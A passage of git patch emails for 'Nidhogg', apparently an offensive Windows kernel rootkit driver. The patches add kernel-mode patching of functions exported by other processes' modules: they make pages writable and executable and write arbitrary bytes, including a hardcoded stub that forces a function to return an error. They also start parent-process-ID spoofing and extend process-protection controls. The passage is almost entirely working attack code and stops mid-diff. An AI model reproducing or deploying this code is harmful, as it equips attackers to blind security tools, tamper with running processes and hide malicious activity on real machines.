+ UNICODE_STRING FullDllName;
+ BYTE Reserved4[8];
+ PVOID Reserved5[3];
+ union {
+ ULONG CheckSum;
+ PVOID Reserved6;
+ };
+ ULONG TimeDateStamp;
+} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
+
+typedef struct _RTL_USER_PROCESS_PARAMETERS {
+ BYTE Reserved1[16];
+ PVOID Reserved2[10];
+ UNICODE_STRING ImagePathName;
+ UNICODE_STRING CommandLine;
+} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
+
+typedef struct _REAL_PEB {
+ BYTE Reserved1[2];
+ BYTE BeingDebugged;
+ BYTE Reserved2[21];
+ PPEB_LDR_DATA LoaderData;
+ PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
+ BYTE Reserved3[520];
+ PVOID PostProcessInitRoutine;
+ BYTE Reserved4[136];
+ ULONG SessionId;
+} REALPEB, * PREALPEB;
// Undocumented.
struct _OBJECT_TYPE_INITIALIZER_TEMP
From 79ff7e79990e5cac9b0e47b36065bef514b5df88 Mon Sep 17 00:00:00 2001
From: Ido Veltzman <62358580+Idov31@users.noreply.github.com>
Date: Fri, 14 Oct 2022 15:46:37 +0300
Subject: [PATCH 05/10] Buggy but working patching
---
Nidhogg/ModuleUtils.hpp | 102 +++++++++++++++--------------
Nidhogg/Nidhogg.cpp | 2 +-
Nidhogg/NidhoggHelperFunctions.hpp | 1 +
3 files changed, 56 insertions(+), 49 deletions(-)
diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp
index 7c59f50..7a23373 100644
--- a/Nidhogg/ModuleUtils.hpp
+++ b/Nidhogg/ModuleUtils.hpp
@@ -11,65 +11,86 @@
* Returns:
* @status [NTSTATUS] -- Whether successfuly patched or not.
*/
-NTSTATUS PatchModule(PatchedModule& ModuleToPatch) {
+NTSTATUS PatchModule(PatchedModule* ModuleToPatch) {
HANDLE hTargetProcess;
PEPROCESS TargetProcess;
+ PEPROCESS CurrentProcess;
ULONG oldProtection;
- SIZE_T outBytes;
KAPC_STATE state;
- UNICODE_STRING moduleName = { 0 };
+
PVOID moduleImageBase = NULL;
NTSTATUS status = STATUS_UNSUCCESSFUL;
- MEMORY_BASIC_INFORMATION memInfo = { 0 };
- bool changeProtection = false;
bool success = true;
LARGE_INTEGER time = { 0 };
- time.QuadPart = -250ll * 10 * 1000; // 250 msec.
+ time.QuadPart = -100ll * 10 * 1000;
// Validate that the required functions are loaded correctly.
if (!dimGlobals.ZwProtectVirtualMemory || !dimGlobals.MmCopyVirtualMemory)
return status;
- // Getting the PEB of the target process.
- if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch.Pid, &TargetProcess) != STATUS_SUCCESS)
+ // Copying the values to local variables before they are unaccesible because of KeStackAttachProcess.
+ WCHAR* moduleName = (WCHAR*)ExAllocatePool(PagedPool, (wcslen(ModuleToPatch->ModuleName) + 1) * sizeof(WCHAR));
+
+ if (!moduleName)
+ return status;
+ memcpy(moduleName, ModuleToPatch->ModuleName, (wcslen(ModuleToPatch->ModuleName) + 1) * sizeof(WCHAR));
+
+ CHAR* functionName = (CHAR*)ExAllocatePool(PagedPool, strlen(ModuleToPatch->FunctionName) + 1);
+
+ if (!functionName) {
+ ExFreePool(moduleName);
+ return status;
+ }
+ memcpy(functionName, ModuleToPatch->FunctionName, strlen(ModuleToPatch->FunctionName) + 1);
+
+ CHAR* patch = (CHAR*)ExAllocatePool(PagedPool, strlen(ModuleToPatch->Patch));
+
+ if (!patch) {
+ ExFreePool(functionName);
+ ExFreePool(moduleName);
+ return status;
+ }
+ memcpy(functionName, ModuleToPatch->FunctionName, strlen(ModuleToPatch->Patch));
+
+ // Getting the PEB.
+ if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch->Pid, &TargetProcess) != STATUS_SUCCESS)
return status;
KeStackAttachProcess(TargetProcess, &state);
PREALPEB targetPeb = (PREALPEB)dimGlobals.PsGetProcessPeb(TargetProcess);
- if (!targetPeb)
+ if (!targetPeb) {
+ KdPrint((DRIVER_PREFIX "Failed to get PEB.\n"));
goto CleanUp;
+ }
for (int i = 0; !targetPeb->LoaderData && i < 10; i++)
{
KeDelayExecutionThread(KernelMode, TRUE, &time);
}
- if (!targetPeb->LoaderData)
+ if (!targetPeb->LoaderData) {
+ KdPrint((DRIVER_PREFIX "Failed to get LDR.\n"));
goto CleanUp;
+ }
// Getting the module's image base.
for (PLIST_ENTRY pListEntry = targetPeb->LoaderData->InLoadOrderModuleList.Flink;
pListEntry != &targetPeb->LoaderData->InLoadOrderModuleList;
pListEntry = pListEntry->Flink) {
- PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
- if (pEntry->FullDllName.Length == 0)
- continue;
-
- /*if (wcisstr(pEntry->FullDllName.Buffer, ModuleToPatch.ModuleName)) {
- moduleImageBase = pEntry->DllBase;
- break;
- }*/
+ PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
- /*if (_wcsnicmp(pEntry->FullDllName.Buffer, ModuleToPatch.ModuleName, pEntry->FullDllName.Length / sizeof(WCHAR) - 4) == 0) {
+ if (_wcsnicmp(pEntry->FullDllName.Buffer, moduleName, pEntry->FullDllName.Length / sizeof(wchar_t) - 4) == 0) {
moduleImageBase = pEntry->DllBase;
break;
- }*/
+ }
}
- if (!moduleImageBase)
+ if (!moduleImageBase) {
+ KdPrint((DRIVER_PREFIX "Failed to get image base.\n"));
goto CleanUp;
+ }
// Validating module.
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleImageBase;
@@ -96,50 +117,33 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) {
DWORD* names = (DWORD*)((PUCHAR)moduleImageBase + exportDirectory->AddressOfNames);
for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) {
- if (_stricmp((char*)((PUCHAR)moduleImageBase + names[j]), ModuleToPatch.FunctionName) == 0) {
+ if (_stricmp((char*)((PUCHAR)moduleImageBase + names[j]), functionName) == 0) {
if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &hTargetProcess) != STATUS_SUCCESS) {
KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n"));
success = false;
break;
}
- auto patchLen = strlen(ModuleToPatch.Patch);
+ // auto patchLen = strlen(patch);
+ SIZE_T patchLen = 6;
auto functionAddress = (PVOID)((PUCHAR)moduleImageBase + addresses[ordinals[j]]);
// Adding write permissions.
- status = ZwQueryVirtualMemory(hTargetProcess, functionAddress, MemoryBasicInformation, &memInfo, sizeof(MEMORY_BASIC_INFORMATION), &outBytes);
+ status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection);
if (status != STATUS_SUCCESS) {
- KdPrint((DRIVER_PREFIX "Failed to query protection, (0x%08X).\n", status));
+ KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status));
ZwClose(hTargetProcess);
success = false;
break;
}
- /*KdPrint((DRIVER_PREFIX "Protection of the page is - %d.\n", memInfo.AllocationProtect));
- KdPrint((DRIVER_PREFIX "State of the page is - %d.\n", memInfo.State));
- KdPrint((DRIVER_PREFIX "Type of the page is - %d.\n", memInfo.Type));*/
-
- changeProtection = memInfo.AllocationProtect != PAGE_EXECUTE_WRITECOPY && memInfo.AllocationProtect != PAGE_EXECUTE_READWRITE;
-
- if (changeProtection) {
- status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection);
-
- if (status != STATUS_SUCCESS) {
- KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status));
- ZwClose(hTargetProcess);
- success = false;
- break;
- }
- }
-
-
// Patching the function.
SIZE_T written;
- char patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
- // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written);
- status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), &patch[0], TargetProcess, functionAddress, 6, KernelMode, &written);
+ // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written);
+ char testPatch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
+ status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), testPatch, TargetProcess, functionAddress, 6, KernelMode, &written);
if (status != STATUS_SUCCESS) {
KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status));
@@ -149,8 +153,7 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) {
KdPrint((DRIVER_PREFIX "Patched function #5.\n"));
// Restoring permissions and cleaning up.
- if (changeProtection)
- dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection);
+ dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection);
ZwClose(hTargetProcess);
KdPrint((DRIVER_PREFIX "Cleaned up #6.\n"));
@@ -162,6 +165,9 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) {
status = STATUS_SUCCESS;
CleanUp:
KeUnstackDetachProcess(&state);
+ ExFreePool(moduleName);
+ ExFreePool(functionName);
+ ExFreePool(patch);
ObDereferenceObject(TargetProcess);
return status;
}
diff --git a/Nidhogg/Nidhogg.cpp b/Nidhogg/Nidhogg.cpp
index b0f11fc..8bd5d96 100644
--- a/Nidhogg/Nidhogg.cpp
+++ b/Nidhogg/Nidhogg.cpp
@@ -771,7 +771,7 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
status = STATUS_INVALID_PARAMETER;
break;
}
- status = PatchModule(*data);
+ status = PatchModule(data);
if (status == STATUS_SUCCESS) {
auto prevIrql = KeGetCurrentIrql();
diff --git a/Nidhogg/NidhoggHelperFunctions.hpp b/Nidhogg/NidhoggHelperFunctions.hpp
index 56504a3..15e8c39 100644
--- a/Nidhogg/NidhoggHelperFunctions.hpp
+++ b/Nidhogg/NidhoggHelperFunctions.hpp
@@ -1,5 +1,6 @@
#pragma once
#include "pch.h"
+#include
/*
* Description:
From 9bc929da1fce0199065590a89a8ffdf3bc8a8f6f Mon Sep 17 00:00:00 2001
From: Ido Veltzman <62358580+Idov31@users.noreply.github.com>
Date: Fri, 14 Oct 2022 15:47:21 +0300
Subject: [PATCH 06/10] Added proper exception handling
---
Nidhogg/RegistryUtils.hpp | 8 ++++++--
1 file changed, 6 insertions(+), 2 deletions(-)
diff --git a/Nidhogg/RegistryUtils.hpp b/Nidhogg/RegistryUtils.hpp
index 1c8a000..e64bd1a 100644
--- a/Nidhogg/RegistryUtils.hpp
+++ b/Nidhogg/RegistryUtils.hpp
@@ -430,7 +430,9 @@ NTSTATUS RegNtPostEnumerateKeyHandler(REG_POST_OPERATION_INFORMATION* info) {
__try {
RtlCopyMemory(preInfo->KeyInformation, tempKeyInformation, resultLength);
}
- __except (EXCEPTION_EXECUTE_HANDLER) {}
+ __except (EXCEPTION_EXECUTE_HANDLER) {
+ KdPrint((DRIVER_PREFIX "Failed to copy the next key data, 0x%x", GetExceptionCode()));
+ }
copyKeyInformationData = false;
}
@@ -542,7 +544,9 @@ NTSTATUS RegNtPostEnumerateValueKeyHandler(REG_POST_OPERATION_INFORMATION* info)
__try {
RtlCopyMemory(preInfo->KeyValueInformation, tempValueInformation, resultLength);
}
- __except (EXCEPTION_EXECUTE_HANDLER) {}
+ __except (EXCEPTION_EXECUTE_HANDLER) {
+ KdPrint((DRIVER_PREFIX "Failed to copy the next value data, 0x%x", GetExceptionCode()));
+ }
copyKeyInformationData = false;
continue;
From 3d4ef94cc331dabc18674a6b690ae79b049f8bd6 Mon Sep 17 00:00:00 2001
From: Ido Veltzman <62358580+Idov31@users.noreply.github.com>
Date: Sun, 16 Oct 2022 17:28:01 +0300
Subject: [PATCH 07/10] Function patching works
---
Nidhogg/ModuleUtils.hpp | 120 +++++++++++++++++++++-------------------
1 file changed, 62 insertions(+), 58 deletions(-)
diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp
index 7a23373..b7956b2 100644
--- a/Nidhogg/ModuleUtils.hpp
+++ b/Nidhogg/ModuleUtils.hpp
@@ -14,19 +14,21 @@
NTSTATUS PatchModule(PatchedModule* ModuleToPatch) {
HANDLE hTargetProcess;
PEPROCESS TargetProcess;
- PEPROCESS CurrentProcess;
ULONG oldProtection;
KAPC_STATE state;
-
+ SIZE_T written;
+
+ PVOID functionAddress = NULL;
PVOID moduleImageBase = NULL;
NTSTATUS status = STATUS_UNSUCCESSFUL;
- bool success = true;
LARGE_INTEGER time = { 0 };
time.QuadPart = -100ll * 10 * 1000;
// Validate that the required functions are loaded correctly.
- if (!dimGlobals.ZwProtectVirtualMemory || !dimGlobals.MmCopyVirtualMemory)
+ if (!dimGlobals.ZwProtectVirtualMemory || !dimGlobals.MmCopyVirtualMemory) {
+ KdPrint((DRIVER_PREFIX "Failed to get critical functions.\n"));
return status;
+ }
// Copying the values to local variables before they are unaccesible because of KeStackAttachProcess.
WCHAR* moduleName = (WCHAR*)ExAllocatePool(PagedPool, (wcslen(ModuleToPatch->ModuleName) + 1) * sizeof(WCHAR));
@@ -34,7 +36,7 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) {
if (!moduleName)
return status;
memcpy(moduleName, ModuleToPatch->ModuleName, (wcslen(ModuleToPatch->ModuleName) + 1) * sizeof(WCHAR));
-
+
CHAR* functionName = (CHAR*)ExAllocatePool(PagedPool, strlen(ModuleToPatch->FunctionName) + 1);
if (!functionName) {
@@ -43,24 +45,19 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) {
}
memcpy(functionName, ModuleToPatch->FunctionName, strlen(ModuleToPatch->FunctionName) + 1);
- CHAR* patch = (CHAR*)ExAllocatePool(PagedPool, strlen(ModuleToPatch->Patch));
-
- if (!patch) {
+ if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch->Pid, &TargetProcess) != STATUS_SUCCESS) {
ExFreePool(functionName);
ExFreePool(moduleName);
return status;
}
- memcpy(functionName, ModuleToPatch->FunctionName, strlen(ModuleToPatch->Patch));
// Getting the PEB.
- if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch->Pid, &TargetProcess) != STATUS_SUCCESS)
- return status;
-
KeStackAttachProcess(TargetProcess, &state);
PREALPEB targetPeb = (PREALPEB)dimGlobals.PsGetProcessPeb(TargetProcess);
if (!targetPeb) {
KdPrint((DRIVER_PREFIX "Failed to get PEB.\n"));
+ KeUnstackDetachProcess(&state);
goto CleanUp;
}
@@ -71,6 +68,7 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) {
if (!targetPeb->LoaderData) {
KdPrint((DRIVER_PREFIX "Failed to get LDR.\n"));
+ KeUnstackDetachProcess(&state);
goto CleanUp;
}
@@ -89,6 +87,7 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) {
if (!moduleImageBase) {
KdPrint((DRIVER_PREFIX "Failed to get image base.\n"));
+ KeUnstackDetachProcess(&state);
goto CleanUp;
}
@@ -96,18 +95,24 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleImageBase;
// Checking that the image is valid PE file.
- if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
+ if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
+ KeUnstackDetachProcess(&state);
goto CleanUp;
+ }
PFULL_IMAGE_NT_HEADERS ntHeaders = (PFULL_IMAGE_NT_HEADERS)((PUCHAR)moduleImageBase + dosHeader->e_lfanew);
- if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
+ if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
+ KeUnstackDetachProcess(&state);
goto CleanUp;
+ }
IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader;
- if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
+ if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) {
+ KeUnstackDetachProcess(&state);
goto CleanUp;
+ }
// Iterating the export directory.
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)moduleImageBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
@@ -118,56 +123,55 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) {
for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) {
if (_stricmp((char*)((PUCHAR)moduleImageBase + names[j]), functionName) == 0) {
- if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &hTargetProcess) != STATUS_SUCCESS) {
- KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n"));
- success = false;
- break;
- }
-
- // auto patchLen = strlen(patch);
- SIZE_T patchLen = 6;
- auto functionAddress = (PVOID)((PUCHAR)moduleImageBase + addresses[ordinals[j]]);
-
- // Adding write permissions.
- status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection);
-
- if (status != STATUS_SUCCESS) {
- KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status));
- ZwClose(hTargetProcess);
- success = false;
- break;
- }
-
- // Patching the function.
- SIZE_T written;
-
- // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written);
- char testPatch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
- status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), testPatch, TargetProcess, functionAddress, 6, KernelMode, &written);
-
- if (status != STATUS_SUCCESS) {
- KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status));
- success = false;
- }
- else
- KdPrint((DRIVER_PREFIX "Patched function #5.\n"));
-
- // Restoring permissions and cleaning up.
- dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection);
-
- ZwClose(hTargetProcess);
- KdPrint((DRIVER_PREFIX "Cleaned up #6.\n"));
+ functionAddress = (PUCHAR)moduleImageBase + addresses[ordinals[j]];
break;
}
}
- if (success)
- status = STATUS_SUCCESS;
-CleanUp:
+ if (!functionAddress) {
+ KdPrint((DRIVER_PREFIX "Failed to get function's address.\n"));
+ KeUnstackDetachProcess(&state);
+ goto CleanUp;
+ }
KeUnstackDetachProcess(&state);
+
+ // Adding write permissions.
+ if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, UserMode, &hTargetProcess) != STATUS_SUCCESS) {
+ KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n"));
+ goto CleanUp;
+ }
+
+ SIZE_T patchLen = (SIZE_T)ModuleToPatch->PatchLength;
+ PVOID functionAddressToProtect = functionAddress;
+ KdPrint((DRIVER_PREFIX "functionAddressToProtect is %p functionAddress is %p.\n", functionAddressToProtect, functionAddress));
+ status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddressToProtect, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection);
+
+ if (status != STATUS_SUCCESS) {
+ KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status));
+ ZwClose(hTargetProcess);
+ goto CleanUp;
+ }
+ ZwClose(hTargetProcess);
+ KdPrint((DRIVER_PREFIX "functionAddressToProtect is %p functionAddress is %p.\n", functionAddressToProtect, functionAddress));
+
+ // Patching the function.
+ patchLen = (SIZE_T)ModuleToPatch->PatchLength;
+
+ status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), ModuleToPatch->Patch, TargetProcess, functionAddress, patchLen, KernelMode, &written);
+
+ if (status != STATUS_SUCCESS)
+ KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status));
+
+ // Restoring permissions and cleaning up.
+ if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, UserMode, &hTargetProcess) == STATUS_SUCCESS) {
+ dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddressToProtect, &patchLen, oldProtection, &oldProtection);
+ ZwClose(hTargetProcess);
+ KdPrint((DRIVER_PREFIX "Everything is OK.\n"));
+ }
+
+CleanUp:
ExFreePool(moduleName);
ExFreePool(functionName);
- ExFreePool(patch);
ObDereferenceObject(TargetProcess);
return status;
}
From 0dd5db452f6fe15b9b9afa59f0176d48720eb5e5 Mon Sep 17 00:00:00 2001
From: Ido Veltzman <62358580+Idov31@users.noreply.github.com>
Date: Sun, 16 Oct 2022 17:28:11 +0300
Subject: [PATCH 08/10] Function patching works
---
Nidhogg/ModuleUtils.hpp | 3 ---
1 file changed, 3 deletions(-)
diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp
index b7956b2..861cd66 100644
--- a/Nidhogg/ModuleUtils.hpp
+++ b/Nidhogg/ModuleUtils.hpp
@@ -143,7 +143,6 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) {
SIZE_T patchLen = (SIZE_T)ModuleToPatch->PatchLength;
PVOID functionAddressToProtect = functionAddress;
- KdPrint((DRIVER_PREFIX "functionAddressToProtect is %p functionAddress is %p.\n", functionAddressToProtect, functionAddress));
status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddressToProtect, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection);
if (status != STATUS_SUCCESS) {
@@ -152,7 +151,6 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) {
goto CleanUp;
}
ZwClose(hTargetProcess);
- KdPrint((DRIVER_PREFIX "functionAddressToProtect is %p functionAddress is %p.\n", functionAddressToProtect, functionAddress));
// Patching the function.
patchLen = (SIZE_T)ModuleToPatch->PatchLength;
@@ -166,7 +164,6 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) {
if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, UserMode, &hTargetProcess) == STATUS_SUCCESS) {
dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddressToProtect, &patchLen, oldProtection, &oldProtection);
ZwClose(hTargetProcess);
- KdPrint((DRIVER_PREFIX "Everything is OK.\n"));
}
CleanUp:
From 39effc7e2254ad12b9fbcb18deb3f4fb6b9cc3fc Mon Sep 17 00:00:00 2001
From: Ido Veltzman <62358580+Idov31@users.noreply.github.com>
Date: Sun, 16 Oct 2022 17:28:36 +0300
Subject: [PATCH 09/10] PPID Spoofing initial
---
Nidhogg/Nidhogg.cpp | 102 ++++++++----
Nidhogg/Nidhogg.h | 32 +++-
Nidhogg/ProcessUtils.hpp | 347 +++++++++++++++++++++++----------------
3 files changed, 306 insertions(+), 175 deletions(-)
diff --git a/Nidhogg/Nidhogg.cpp b/Nidhogg/Nidhogg.cpp
index 8bd5d96..3ddccac 100644
--- a/Nidhogg/Nidhogg.cpp
+++ b/Nidhogg/Nidhogg.cpp
@@ -92,6 +92,22 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) {
return status;
}
+ status = PsSetCreateProcessNotifyRoutineEx(OnProcessNotify, FALSE);
+
+ if (!NT_SUCCESS(status)) {
+ KdPrint((DRIVER_PREFIX "failed to register create process callback: (0x%08X)\n", status));
+
+ status = CmUnRegisterCallback(rGlobals.RegCookie);
+
+ if (registrationHandle) {
+ ObUnRegisterCallbacks(registrationHandle);
+ registrationHandle = NULL;
+ }
+ IoDeleteSymbolicLink(&symbolicLink);
+ IoDeleteDevice(DeviceObject);
+ return status;
+ }
+
// Setting up functions.
DriverObject->DriverUnload = NidhoggUnload;
DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverObject->MajorFunction[IRP_MJ_CLOSE] = NidhoggCreateClose;
@@ -114,14 +130,16 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) {
void NidhoggUnload(PDRIVER_OBJECT DriverObject) {
KdPrint((DRIVER_PREFIX "Unloading...\n"));
- NTSTATUS status = CmUnRegisterCallback(rGlobals.RegCookie);
+ NTSTATUS status = PsSetCreateProcessNotifyRoutineEx(OnProcessNotify, TRUE);
if (!NT_SUCCESS(status)) {
- KdPrint((DRIVER_PREFIX "failed to unregister registry callbacks: (0x%08X)\n", status));
+ KdPrint((DRIVER_PREFIX "failed to unregister create process callback: (0x%08X)\n", status));
}
+ status = CmUnRegisterCallback(rGlobals.RegCookie);
+
if (!NT_SUCCESS(status)) {
- KdPrint((DRIVER_PREFIX "failed to unregister image load callback: (0x%08X)\n", status));
+ KdPrint((DRIVER_PREFIX "failed to unregister registry callbacks: (0x%08X)\n", status));
}
ClearAll();
@@ -196,35 +214,46 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
{
auto size = stack->Parameters.DeviceIoControl.InputBufferLength;
- if (size % sizeof(ULONG) != 0) {
+ if (size % sizeof(Process) != 0) {
status = STATUS_INVALID_BUFFER_SIZE;
break;
}
- auto data = (ULONG*)Irp->AssociatedIrp.SystemBuffer;
+ auto data = (Process*)Irp->AssociatedIrp.SystemBuffer;
- if (data == 0) {
+ if (data == nullptr) {
+ status = STATUS_INVALID_PARAMETER;
+ break;
+ }
+
+ if ((data->type != PROCESS_TYPE_PROTECTED && data->type != PROCESS_TYPE_SPOOFED) ||
+ (data->type == PROCESS_TYPE_PROTECTED && data->ProcessPid <= 0) ||
+ (data->type == PROCESS_TYPE_SPOOFED && data->ProcessPid <= 0 && data->SpoofedPid <= 0)) {
status = STATUS_INVALID_PARAMETER;
break;
}
AutoLock locker(pGlobals.Lock);
- if (FindProcess(*data))
+ if (FindProcess(data) != PROCESS_NOT_FOUND)
break;
- if (pGlobals.Processes.PidsCount == MAX_PIDS) {
+ if (pGlobals.ProtectedProcesses.PidsCount == MAX_PIDS) {
status = STATUS_TOO_MANY_CONTEXT_IDS;
break;
}
- if (!AddProcess(*data)) {
+ if (!AddProcess(data)) {
status = STATUS_UNSUCCESSFUL;
break;
}
- KdPrint((DRIVER_PREFIX "Protecting process with pid %d.\n", *data));
- len += sizeof(ULONG);
+ if (data->type == PROCESS_TYPE_PROTECTED)
+ KdPrint((DRIVER_PREFIX "Protecting process with pid %d.\n", data->ProcessPid));
+ else
+ KdPrint((DRIVER_PREFIX "Spoofing child processes of %d.\n", data->ProcessPid));
+
+ len += sizeof(Process);
break;
}
@@ -232,32 +261,43 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
case IOCTL_NIDHOGG_UNPROTECT_PROCESS:
{
auto size = stack->Parameters.DeviceIoControl.InputBufferLength;
- if (size % sizeof(ULONG) != 0) {
+
+ if (size % sizeof(Process) != 0) {
status = STATUS_INVALID_BUFFER_SIZE;
break;
}
- auto data = (ULONG*)Irp->AssociatedIrp.SystemBuffer;
+ auto data = (Process*)Irp->AssociatedIrp.SystemBuffer;
- if (data == 0) {
+ if (data == nullptr) {
+ status = STATUS_INVALID_PARAMETER;
+ break;
+ }
+
+ if ((data->type != PROCESS_TYPE_PROTECTED && data->type != PROCESS_TYPE_SPOOFED) ||
+ (data->type == PROCESS_TYPE_PROTECTED && data->ProcessPid <= 0) ||
+ (data->type == PROCESS_TYPE_SPOOFED && data->ProcessPid <= 0 && data->SpoofedPid <= 0)) {
status = STATUS_INVALID_PARAMETER;
break;
}
AutoLock locker(pGlobals.Lock);
- if (pGlobals.Processes.PidsCount == 0) {
+ if (pGlobals.ProtectedProcesses.PidsCount == 0) {
status = STATUS_NOT_FOUND;
break;
}
- if (!RemoveProcess(*data)) {
+ if (!RemoveProcess(data)) {
status = STATUS_NOT_FOUND;
break;
}
- KdPrint((DRIVER_PREFIX "Unprotecting process with pid %d.\n", *data));
- len += sizeof(ULONG);
+ if (data->type == PROCESS_TYPE_PROTECTED)
+ KdPrint((DRIVER_PREFIX "Unprotecting process with pid %d.\n", data->ProcessPid));
+ else
+ KdPrint((DRIVER_PREFIX "Unspoofing child processes of %d.\n", data->ProcessPid));
+ len += sizeof(Process);
break;
}
@@ -265,8 +305,8 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
case IOCTL_NIDHOGG_CLEAR_PROCESS_PROTECTION:
{
AutoLock locker(pGlobals.Lock);
- memset(&pGlobals.Processes.Pids, 0, sizeof(pGlobals.Processes.Pids));
- pGlobals.Processes.PidsCount = 0;
+ memset(&pGlobals.ProtectedProcesses.Processes, 0, sizeof(pGlobals.ProtectedProcesses.Processes));
+ pGlobals.ProtectedProcesses.PidsCount = 0;
break;
}
@@ -319,7 +359,7 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
break;
}
- case IOCTL_NIDHOGG_QUERY_PROCESSES:
